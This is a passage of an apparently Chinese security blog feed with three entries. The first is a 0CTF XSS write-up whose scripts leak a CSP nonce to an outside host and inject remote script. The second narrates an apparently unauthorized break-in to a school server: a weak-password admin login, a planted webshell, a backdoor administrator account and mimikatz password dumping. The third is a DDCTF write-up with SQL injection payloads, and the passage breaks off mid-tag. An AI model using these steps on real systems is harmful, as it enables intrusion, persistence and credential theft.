title="【预期】拿到nonce，执行js"></a>【预期】拿到nonce，执行js</h2><p><a href="https://paper.seebug.org/166/#a-csscspdom-xss-three-way">https://paper.seebug.org/166/#a-csscspdom-xss-three-way</a></p><p>之前自己一直想的是通过style来拿nonce，因为他有缓存。而且时间还可以。最后自己努力将时间控制在15s左右。但是发过去后发现，那边没有回显？自己chrome是66，bot是65。当时很迷，还问出题人来着。但出题人没有对这块进行答复，而是反问我，时间问题。并且说明bot只停留15s，你这样是不行的。</p><p>所以只好换思路。当时不知道脑子那根筋抽了，没想到自己加载他的js。最后比赛结束前半小时才发现这个问题。</p><p>然而因为需要一系列自动化脚本的编写。最终也没来得及写完。比赛结束后才勉强写出beta版本。</p><h3 id="思路"><a href="#思路" class="headerlink" title="思路"></a>思路</h3><p>此时因为缓存的原因，20s的缓存。也就是说，当前页面的静态文件时不会重新加载的。那么，我们在当前页面加载一个iframe，即<strong>eval.php</strong>，去加载js从而获取nonce。但是获取nonce需要传入id。</p><p>因为此时我们已经成功关注了admin，所以可以通过python在自己页面爬取到admin的id。</p><p>此时大概逻辑便有了。</p><p>1.获取到管理员id，并且传给服务器，保存到a.txt。</p><p>2.将user1的资料改为将eval.php作为iframe加载。eval.php会引入a.txt的id。</p><p>3.此时eval.php 成功拿到nonce，保存到b.txt。并且在5秒后加载user2的资料</p><p>4.紧接着，修改user2 的资料，写入evaljs，并且将b.txt中的nonce带上。</p><p>5.此时，一套流程便完成了。等待evaljs的执行即可。</p><h3 id="脚本"><a href="#脚本" class="headerlink" title="脚本"></a>脚本</h3><p>大概用了以下几个脚本。写完没来得及做测试环境就关了。最近虽然环境一直开着，但是有些事给耽误复现了。</p><p>也就是说…..至今还未复现。</p><p><strong>poc.py</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> re</span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line"><span class="comment"># 获取管理员id</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">getAdminid</span>():</span><br><span class="line">    <span class="keyword">return</span> re.search(<span class="string">&quot;id=([0-9a-zA-Z]*)\&quot;&gt;admin2&lt;&quot;</span> , requests.get(<span class="string">&quot;https://h4x0rs.date/profile.php&quot;</span> , cookies=&#123;<span class="string">&quot;PHPSESSID&quot;</span>:<span class="string">&quot;p28vu9m2h0uj7g04m73uo4fsm6&quot;</span>&#125;).text).group(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 从服务器端a.txt获取nonce</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">getNonce</span>():</span><br><span class="line"><span class="keyword">return</span> requests.get(<span class="string">&quot;http://eval.com/a.txt&quot;</span>).text</span><br><span class="line"></span><br><span class="line"><span class="comment"># 修改资料页内容</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">reProfile</span>(<span class="params">ec</span>):</span><br><span class="line">url=<span class="string">&quot;https://h4x0rs.date/profile.php&quot;</span></span><br><span class="line">cookie=</span><br><span class="line">headers=&#123;</span><br><span class="line"><span class="string">&quot;Cookie&quot;</span>:<span class="string">&quot;PHPSESSID=8fut6nfo8f449hu3t6ft2qp3s3&quot;</span>,</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">data=&#123;</span><br><span class="line"><span class="string">&quot;intro&quot;</span>:ec,</span><br><span class="line"><span class="string">&quot;submit&quot;</span>:<span class="string">&quot;submit&quot;</span>,</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(ec)</span><br><span class="line">r=requests.post(url,data=data,headers=headers)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 发送report</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sendReport</span>():</span><br><span class="line">codeurl=<span class="string">&quot;https://h4x0rs.date/profile.php?id=428222d40f05cfc8f1a1f2b550b29952db37d2016899a9f2e0534f630739c1e4&quot;</span></span><br><span class="line">requests.post(<span class="string">&quot;https://h4x0rs.date/do_report.php&quot;</span>,data=&#123;<span class="string">&quot;url&quot;</span>: codeurl,<span class="string">&quot;submit&quot;</span>: <span class="string">&quot;submit&quot;</span>&#125; , cookies=&#123;<span class="string">&quot;PHPSESSID&quot;</span>:<span class="string">&quot;p28vu9m2h0uj7g04m73uo4fsm6&quot;</span>&#125;)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&quot;send url ok!&quot;</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># 修改user2资料页中的nonce</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">changeNonce</span>(<span class="params">nonce</span>):</span><br><span class="line">evalcode=<span class="string">&quot;&lt;script src=//eval.com/eval.js nonce=&#x27;&quot;</span>+nonce+<span class="string">&quot;&#x27;&#x27;&gt;&lt;/script&gt;&quot;</span></span><br><span class="line">reProfile(evalcode)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># 首先获取到admin的id，并保存到b.txt</span></span><br><span class="line"><span class="built_in">id</span> = getAdminid()</span><br><span class="line">requests.get(<span class="string">&quot;http://eval.com/save_b.php?b=&quot;</span>+<span class="built_in">id</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#发送report，从而加载eval.php</span></span><br><span class="line">sendReport()</span><br><span class="line"></span><br><span class="line"><span class="comment"># 获取nonce，并修改内容。</span></span><br><span class="line"><span class="keyword">while</span>(<span class="number">1</span>):</span><br><span class="line">nonce=getNonce()</span><br><span class="line"><span class="keyword">if</span>(nonce !=<span class="string">&#x27;&#x27;</span>):</span><br><span class="line">changeNonce(nonce)</span><br><span class="line">time.sleep(<span class="number">0.5</span>)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><strong>eval.php</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line">&lt;!DOCTYPE html&gt;</span><br><span class="line">&lt;html lang=&quot;en&quot;&gt;</span><br><span class="line">&lt;head&gt;</span><br><span class="line">&lt;meta charset=&quot;UTF-8&quot;&gt;</span><br><span class="line">&lt;title&gt;eval&lt;/title&gt;</span><br><span class="line">&lt;script src=&quot;https://h4x0rs.date/assets/jquery-3.3.1.min.js&quot;&gt;&lt;/script&gt;</span><br><span class="line">&lt;script&gt;</span><br><span class="line">         // 加载user2的资料页</span><br><span class="line">function aa()&#123;</span><br><span class="line">var iframe = document.createElement(&#x27;iframe&#x27;); </span><br><span class="line">iframe.src=&quot;https://h4x0rs.date/profile.php?id=1d70f9cca4ab0d188c0cc9524b0d92705607d9b0d2e3923841e8b194ac7601cc&quot;;  </span><br><span class="line">document.body.appendChild(iframe);</span><br><span class="line">&#125;</span><br><span class="line">        </span><br><span class="line">         </span><br><span class="line">$(document).ready( function () &#123;</span><br><span class="line">  //获取nonce</span><br><span class="line">           var m = $(&quot;meta[http-equiv=Content-Security-Policy]&quot;);</span><br><span class="line">  var nonce=m.attr(&quot;content&quot;);</span><br><span class="line"></span><br><span class="line">  // 通过savea.php将nonce保存为a.txt</span><br><span class="line">           var url=&quot;https://eval.com/save_a.php?a=&quot;;</span><br><span class="line">  var n0t = document.createElement(&quot;link&quot;);</span><br><span class="line">  n0t.setAttribute(&quot;rel&quot;, &quot;prefetch&quot;);</span><br><span class="line">  n0t.setAttribute(&quot;href&quot;, url+nonce);</span><br><span class="line">  document.head.appendChild(n0t);</span><br><span class="line">           </span><br><span class="line">           //每3秒重新加载一次user2的资料</span><br><span class="line">  setInterval(&quot;aa()&quot;, 3000 )</span><br><span class="line">&#125;);</span><br><span class="line">&lt;/script&gt;</span><br><span class="line">    </span><br><span class="line">    </span><br><span class="line">&lt;script type=&quot;text/javascript&quot; src=&quot;https://h4x0rs.date/assets/csp.js?id=&lt;?php echo file_get_contents(&#x27;b.txt&#x27;);?&gt;&amp;page=profile.php&quot;&gt;&lt;/script&gt;</span><br><span class="line"></span><br><span class="line">&lt;/head&gt;</span><br><span class="line">&lt;body&gt;</span><br><span class="line">&lt;/body&gt;</span><br><span class="line">&lt;/html&gt;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><strong>save_a.php</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">save</span>(<span class="params"><span class="variable">$str</span></span>)</span>&#123;</span><br><span class="line">    <span class="variable">$myfile</span> = <span class="title function_ invoke__">fopen</span>(<span class="string">&quot;./a.txt&quot;</span>, <span class="string">&quot;w&quot;</span>);</span><br><span class="line">    <span class="title function_ invoke__">fwrite</span>(<span class="variable">$myfile</span>, <span class="variable">$str</span>);</span><br><span class="line">    <span class="title function_ invoke__">fclose</span>(<span class="variable">$myfile</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_ invoke__">save</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;a&#x27;</span>]);</span><br></pre></td></tr></table></figure><p><strong>save_b.php</strong></p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">save</span>(<span class="params"><span class="variable">$str</span></span>)</span>&#123;</span><br><span class="line">    <span class="variable">$myfile</span> = <span class="title function_ invoke__">fopen</span>(<span class="string">&quot;./b.txt&quot;</span>, <span class="string">&quot;w&quot;</span>);</span><br><span class="line">    <span class="title function_ invoke__">fwrite</span>(<span class="variable">$myfile</span>, <span class="variable">$str</span>);</span><br><span class="line">    <span class="title function_ invoke__">fclose</span>(<span class="variable">$myfile</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="title function_ invoke__">save</span>(<span class="variable">$_GET</span>[<span class="string">&#x27;b&#x27;</span>]);</span><br></pre></td></tr></table></figure><h2 id="最后"><a href="#最后" class="headerlink" title="最后"></a>最后</h2><p>这道题蛮棒的，话说l4wio大佬总是一次又一次刷新自己对xss的认识。最近0ctf，学到了很多套路。再一次感觉到xss的乐趣。想尽一切办法去bypass。但是切记不能忽视任何一个微小的细节。或许哪里就会是一个漏洞。</p><p>看过标答后，发现l4wio大佬的答案更有意思一点，在这里，我用了两个用户，而大佬，直接通过csrf修改admin资料，将admin作为第二个用户来构造xss。膜一下。</p><h2 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h2><ul><li><a href="https://www.lorexxar.cn/2018/05/31/0ctf2018-final/#h4x0rs-data">https://www.lorexxar.cn/2018/05/31/0ctf2018-final/#h4x0rs-data</a></li><li><a href="https://github.com/l4wio/CTF-challenges-by-me/blob/master/0ctf_final-2018/0ctf_tctf_2018_slides.pdf">https://github.com/l4wio/CTF-challenges-by-me/blob/master/0ctf_final-2018/0ctf_tctf_2018_slides.pdf</a></li></ul>]]></content>
    
    
    <summary type="html">&lt;p&gt;当时比赛时，差一点就解出来了。结束前半小时，才发觉获取nonce的漏洞点。&lt;/p&gt;
&lt;p&gt;还是太菜了，否则能一跃第四。&lt;/p&gt;
&lt;p&gt;这题其实挺有意思的， 赛后仔细想想，好像也不是太难。但是题目真心不错。&lt;/p&gt;
&lt;p&gt;最后证实，这题有多种解法，但每一种解法，都感觉学到了很多。&lt;/p&gt;
&lt;p&gt;题目链接：&lt;a href=&quot;https://h4x0rs.date/&quot;&gt;https://h4x0rs.date/&lt;/a&gt;&lt;/p&gt;</summary>
    
    
    
    <category term="信息安全" scheme="https://blog.5am3.com/categories/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8/"/>
    
    <category term="writeup" scheme="https://blog.5am3.com/categories/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8/writeup/"/>
    
    
    <category term="xss" scheme="https://blog.5am3.com/tags/xss/"/>
    
    <category term="nonce绕过" scheme="https://blog.5am3.com/tags/nonce%E7%BB%95%E8%BF%87/"/>
    
    <category term="0ctf" scheme="https://blog.5am3.com/tags/0ctf/"/>
    
    <category term="csp" scheme="https://blog.5am3.com/tags/csp/"/>
    
  </entry>
  
  <entry>
    <title>记一次简单的渗透测试</title>
    <link href="https://blog.5am3.com/2018/05/04/web-testing-one/"/>
    <id>https://blog.5am3.com/2018/05/04/web-testing-one/</id>
    <published>2018-05-04T07:32:00.000Z</published>
    <updated>2024-12-05T02:39:41.684Z</updated>
    
    <content type="html"><![CDATA[<h2 id="起源"><a href="#起源" class="headerlink" title="起源"></a>起源</h2><p>某天比较无聊，听一个朋友推荐httpscan这款工具，于是就下载下来试试。</p><p>首先对某学校网段开始进行测试。</p><span id="more"></span><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python httpscan.py **.**.**.0/24</span><br></pre></td></tr></table></figure><p>测试时发现有个比较特殊的标题。一般有这个，证明存在目录遍历。</p><p><img src="https://img.5am3.com/img/180328/21C8HaLImf.png" alt="mark"></p><p>目录遍历这个漏洞，说大也不大，说小也不小，但是，一般来说，存在这种目录，可以证明网站管理员比较粗心，当然也有可能会把一些敏感文件放在上面，如数据库文件，账号文件等。</p><p>尝试google搜索</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">intitle:Index of /</span><br></pre></td></tr></table></figure><p>可以找出好多这种例子。可以撞运气试一下有没有敏感文件泄露，然后进一步拿下一个站。</p><h2 id="开始渗透"><a href="#开始渗透" class="headerlink" title="开始渗透"></a>开始渗透</h2><p>当时访问后，发现是以下的状况。</p><p><img src="https://img.5am3.com/img/180328/0Gfh55IHEJ.png" alt="mark"></p><p>这个就又比较开心，看到了phpinfo。</p><p>这个文件和目录遍历漏洞性质也差不多，说大也大，说小也小。</p><p>phpinfo属于处在信息收集阶段的一个重头，当有了这些信息，可以看出服务器端调用了那些库，以及一些敏感路径，从而进行深入的漏洞挖掘。用途也是很广的。</p><p>所以建议各个站长，不要将这个文件泄露出来。</p><p>phpinfo先放一边，先点开1目录看一下，发现是一个discuz 3.2的站</p><p><img src="https://img.5am3.com/img/180328/b4Bmj747Kj.png" alt="mark"></p><p>尝试搜索discuz 3.2 getshell，最终发现有个<a href="https://www.secpulse.com/archives/40705.html">后台插件配置导致getshell</a>，但此时我们没有后台权限。</p><p>于是继续搜索，也没发现什么有价值的。</p><p>于是改变思路，想一下如何能进入后台。</p><p>尝试弱口令登录，最终<code>admin admin</code> 成功登录后台。</p><p>当时的心情是绝望的。</p><p>顺理成章，直接进入后台，找到<code>好贷站长联盟 2.0.2</code>安装，并启用。</p><p><img src="https://img.5am3.com/img/180328/lbI8Kff0lh.png" alt="mark"></p><p>然后进行配置，输入我们的一句话即可。</p><p><img src="https://img.5am3.com/img/180328/0K1ma0Dm6b.png" alt="mark"></p><p>成功拿到shell</p><p><img src="https://img.5am3.com/img/180328/8jcGHHLh6b.png" alt="mark"></p><h2 id="控制服务器"><a href="#控制服务器" class="headerlink" title="控制服务器"></a>控制服务器</h2><p>当然，这么简单的渗透，拿到shell肯定是不够的。</p><p>要想办法进而打开3389，成功夺取服务器权限，这样可以实现长久控制。</p><p>首先shell打开命令行，查看一下用户权限</p><p>当然，由于用的是蚁剑，已经说明了。</p><p><img src="https://img.5am3.com/img/180328/04FFGI5CG7.png" alt="mark"></p><p>此时因为用的就是最高权限，所以就不用再进行提权了。</p><p>此时我们可以尝试创建新用户，并赋于其管理员权限。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">net user hacker 123456 /add</span><br><span class="line">net localgroup Administrators hacker /add</span><br></pre></td></tr></table></figure><p>此时再次输入<code>net user</code>即可查看到你创建的用户。</p><p>然后尝试3389链接，发现无法链接。</p><p>此时第一反应一定是，他改端口了。</p><p>因为毕竟是服务器，不可能不通过远程桌面连，天天抱个显示器去机房。</p><p>于是需要找到其3389端口修改后的端口。</p><p>首先查看一下端口占用情况：<code>netstat -ano</code></p><p><img src="https://img.5am3.com/img/180504/hF5lIEfeiA.png" alt="mark"></p><p>发现果然是没有3389，此时可以猜测一下，感觉那个像就连那个，多试几次就好了。</p><p>但是，咱可是一个有抱负的技术宅，怎么可能用这种概率事件！</p><p>所以，可以通过查看一下当前运行的服务，定位pid后，到端口占用里面对比。</p><p>首先<code>tasklist  /svc</code>然后寻找TermService，记录下中间的pid号。</p><p><img src="https://img.5am3.com/img/180328/C6Id1BbHhb.png" alt="mark"></p><p>然后返回之前的端口占用情况图中寻找5492，可以轻易发现，3389端口被改到了65530</p><p><img src="https://img.5am3.com/img/180328/ckLjC0D8c8.png" alt="mark"></p><p>然后尝试用我们账户通过 mstsc链接过去即可</p><p><img src="https://img.5am3.com/img/180328/Hd9mI825f8.png" alt="mark"></p><p>最终成功拿下服务器。</p><p>做到这步的时候，已经可以说是结束了，但是！如果被管理员发现账户后删除了怎么办呢？</p><p>此时需要找一下管理员的密码。</p><p>通过一款老师推荐的软件，最终查询到了管理员的密码。</p><h2 id="寻找管理员密码"><a href="#寻找管理员密码" class="headerlink" title="寻找管理员密码"></a>寻找管理员密码</h2><p>使用工具mimikatz。</p><p>首先下载该工具，然后上传到目标机器。</p><p>按目标机器环境，使用合适的位数（32or64）,直接执行。</p><p>然后在工具窗格内依次输入以下两条命令即可</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">第一条：privilege::debug //提升权限 </span><br><span class="line">第二条：sekurlsa::logonpasswords //抓取密码</span><br></pre></td></tr></table></figure><p>在这里，由于隐私问题就不放截图了。</p><p>最后再说一点，这几步，虽然说实现了长久的控制，但是还是有所欠缺，毕竟管理员一旦发现有其他账号，在删掉的同时也会将自己的密码改掉。</p><p>所以一般大佬们都是直接放入自己的远控木马，进而持久控制。</p><h2 id="漏洞威胁以及修复建议"><a href="#漏洞威胁以及修复建议" class="headerlink" title="漏洞威胁以及修复建议"></a>漏洞威胁以及修复建议</h2><ol><li>在该服务器下发现存在teamviewer，怀疑有人已经拿下该服务器，进而实现长久控制。</li><li>该服务器大部分数据为14年左右，且网站完全没用，建议关闭该台服务器。</li><li>网站内敏感数据建议删除或备份到其他地方。</li><li>建议对服务器集群内文件实施清理，减少不必要文件泄露。</li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>这次渗透测试，比较胆战心惊，因为一环一环，犹如是一个蜜罐在引自己上钩。</p><p>但是考虑到之前老师对自己进行漏洞挖掘的支持，还是进行了下去。</p><p>感觉这台服务器之前应该是测试用的，最后忘了还跑着服务，最终导致被拿下。</p>]]></content>
    
    
    <summary type="html">&lt;h2 id=&quot;起源&quot;&gt;&lt;a href=&quot;#起源&quot; class=&quot;headerlink&quot; title=&quot;起源&quot;&gt;&lt;/a&gt;起源&lt;/h2&gt;&lt;p&gt;某天比较无聊，听一个朋友推荐httpscan这款工具，于是就下载下来试试。&lt;/p&gt;
&lt;p&gt;首先对某学校网段开始进行测试。&lt;/p&gt;</summary>
    
    
    
    <category term="信息安全" scheme="https://blog.5am3.com/categories/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8/"/>
    
    <category term="渗透测试" scheme="https://blog.5am3.com/categories/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
    
    
    <category term="web渗透" scheme="https://blog.5am3.com/tags/web%E6%B8%97%E9%80%8F/"/>
    
  </entry>
  
  <entry>
    <title>2018DDCTF  writeup</title>
    <link href="https://blog.5am3.com/2018/04/24/ddctf2018/"/>
    <id>https://blog.5am3.com/2018/04/24/ddctf2018/</id>
    <published>2018-04-24T07:38:40.000Z</published>
    <updated>2024-12-05T02:39:41.684Z</updated>
    
    <content type="html"><![CDATA[<p>第二次参加滴滴的比赛，第一次是刚接触CTF不久。身为一个web狗，做出两道逆向题。</p><p>这是第二次，总的来说，题目对新人还是蛮友好的，而且还能学到很多东西。</p><p>时间方面，也还不错。体验到了肛题的快感。这次…蛮可惜的。差一点就ak了web题。</p><p>还好时间不够了。否则后面那道java一定会折磨我许久。</p><p>最后，赞一下各位出题师傅，题目很喜欢！</p><p>还有安姐姐也辛苦了。这一周，看到安姐姐基本上天天通宵。</p><span id="more"></span><p>比赛复现链接： <a href="http://ddctf.didichuxing.com/">http://ddctf.didichuxing.com</a></p><h2 id="WEB"><a href="#WEB" class="headerlink" title="WEB"></a>WEB</h2><h3 id="web1-数据库的秘密-100pt"><a href="#web1-数据库的秘密-100pt" class="headerlink" title="web1 数据库的秘密 (100pt)"></a>web1 数据库的秘密 (100pt)</h3><blockquote><p><strong>[注意] 本次DDCTF所有WEB题无需使用也禁止使用扫描器</strong></p><p><a href="http://116.85.43.88:8080/JYDJAYLYIPHCJMOQ/dfe3ia/index.php">http://116.85.43.88:8080/JYDJAYLYIPHCJMOQ/dfe3ia/index.php</a></p></blockquote><p>打开后会发现返回如下。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">非法链接，只允许来自 123.232.23.245 的访问</span><br></pre></td></tr></table></figure><p>此时可以通过修改HTTP请求头中的X-Forwarded-For即可。即添加以下字段</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">X-Forwarded-For:123.232.23.245</span><br></pre></td></tr></table></figure><p>在这里，我用的是火狐的一个插件**Modify Header Value (HTTP Headers)**。</p><p><img src="https://img.5am3.com/img/180414/CLmbAc4f7j.png" alt="mark"></p><p>发现该网页是一个简单的查询列表。再加上题目中给的hint。可以判断为SQL注入题目。</p><p>经过测试，发现以上三个点均不是注入点。此时分析数据包，可以发现存在第四个注入点。</p><p><img src="https://img.5am3.com/img/180414/dGfL1C7DDJ.png" alt="mark"></p><p>然后查看源码，发现一个隐藏字段。经过测试发现，该字段可以注入。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">admin&#x27; &amp;&amp; &#x27;1&#x27;=&#x27;1&#x27;#</span><br><span class="line">admin&#x27; &amp;&amp; &#x27;1&#x27;=&#x27;2&#x27;#</span><br></pre></td></tr></table></figure><p>尝试注入 author，可以发现以下内容信息</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">1. and （可以用&amp;&amp;代替）</span><br><span class="line">2. union select （很迷，这两个不能同时出现，然而自己又找不到其他方式）</span><br><span class="line">3. 仅允许#号注释</span><br></pre></td></tr></table></figure><p>然后注入渣的自己就比较无奈了。。不会啊。只好祭出盲注大法了。经过尝试，最终构造以下payload可用。</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">admin<span class="string">&#x27; &amp;&amp; binary substr((select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA),1,1) &lt;&#x27;</span>z<span class="string">&#x27; # </span></span><br></pre></td></tr></table></figure><p>然后开始写脚本，此时遇到了一个问题。发现他有一个验证。为了check你中途是否修改数据，而加入的一个hash比对。</p><p>首先将你的准备传送的内容进行某种hash后变为sig字段，然后再将sig通过get请求一起发送过去。此时服务器端会将sig与你发送的内容的hash比对一下。此时可以减少抓包中途修改内容的可能性。</p><p>所以，为了省事，我选择直接将这个代码调用一下。</p><p>用python的execjs库，可以直接执行js代码。</p><p>最终跑起脚本，获取到flag <code>DDCTF&#123;IKIDLHNZMKFUDEQE&#125;</code></p><p><img src="https://img.5am3.com/img/180415/AbdF2ADGA3.png" alt="mark"></p><h3 id="web2-专属链接-200pt"><a href="#web2-专属链接-200pt" class="headerlink" title="web2 专属链接 (200pt)"></a>web2 专属链接 (200pt)</h3><blockquote><p>现在，你拿到了滴滴平台为你同学生成的专属登录链接，但是你能进一步拿到专属他的秘密flag么</p><p>提示1：虽然原网站跟本次CTF没有关系，原网站是<a href="http://www.xiaojukeji.com/">www.xiaojukeji.com</a></p><p>注：题目采用springmvc+mybatis编写，<strong>链接至其他域名的链接与本次CTF无关，请不要攻击</strong></p><p><a href="http://116.85.48.102:5050/welcom/3fca5965sd7b7s4a71s88c7se658165a791e">http://116.85.48.102:5050/welcom/3fca5965sd7b7s4a71s88c7se658165a791e</a></p></blockquote><p>首先打开网站，发现是滴滴的官网。。</p><p>此时发现所有连接几乎全部重定向到了滴滴官网。</p><p>无奈下查看元素。发现hint</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">&lt;!--/flag/testflag/yourflag--&gt;</span></span><br></pre></td></tr></table></figure><p>尝试访问，<code>http://116.85.48.102:5050/flag/testflag/yourflag</code>发现报错500，好像是数组越界？</p><p>此时尝试将yourflag替换为DDCTF{1321}，返回failed!!!。</p><p>猜测爆破flag么？完全没戏啊。看样子应该有其他地方可以入手。</p><p>然而又发现了主页js的一句神奇的话。一个ajax语句。</p><p><img src="https://img.5am3.com/img/180415/aj9dA0CmKl.png" alt="mark"></p><p>然并卵，404。。。。。</p><p>此时只好继续分析题目，发现了令人眼前一亮的东西。对，就是下面这个icon。</p><p><img src="https://img.5am3.com/img/180415/m1i9IHi9H4.png" alt="mark"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://116.85.48.102:5050/image/banner/ZmF2aWNvbi5pY28=</span><br></pre></td></tr></table></figure><p>访问后，发现下载了favicon.ico</p><p>此时发现图标好像图片很奇怪。后来果然验证了这是个hint。</p><p><img src="https://img.5am3.com/img/180415/5akEdiAE93.png" alt="mark"></p><p>此时可以愉快地玩耍了，这样一来，题目源码有了，还愁拿不下来么。</p><p>美滋滋。此时也知道了题目中hint的用意。<code>题目采用springmvc+mybatis编写</code></p><p>百度搜索springmvc+mybatis文件结构，美滋滋读文件。</p><p>首先，大概知道了资源文件都是在WEB-INF文件夹下，所以猜测这个icon也在这里，此时我们要先确定文件夹。</p><p>WEB-INF下有一个web.xml，此时尝试读取，最终确定目录<code>../../WEB-INF/web.xml</code>。</p><p>然后拖文件。这里说几点注意事项。</p><blockquote><ol><li>通过..&#x2F;..&#x2F;WEB-INF&#x2F;web.xml确认位置。</li><li>继续根据web.xml中的内容进行文件读取。classpath是<code>WEB-INF/classes</code></li><li>读class文件时根据包名判断文件目录<code>com.didichuxing.ctf.listener.InitListener</code> 即为<code>WEB-INF/com/didichuxing/ctf/listener/InitListener.class</code></li><li>制造网站报错，进一步找到更多的文件</li></ol></blockquote><p>差不多，注意一上四点，就可以拿到尽量多的源码了。</p><p>拖到源码后，就不美滋滋了。。。还好去年在DDCTF学过2017第二题的安卓逆向，会逆向了。</p><p>（此时坑点：jd-jui仅可逆jar，需要将class打成压缩包改为jar再逆向）</p><p>此时开始苦逼的分析源码。</p><p><strong>分析后发现，存在接口，用当前用户的邮箱去生成一个flag。</strong></p><p>但是flag是加密的。此时加密流程代码里都有，是一个RSA加密。密钥在服务器中的</p><p><img src="https://img.5am3.com/img/180415/5FK9H98cBm.png" 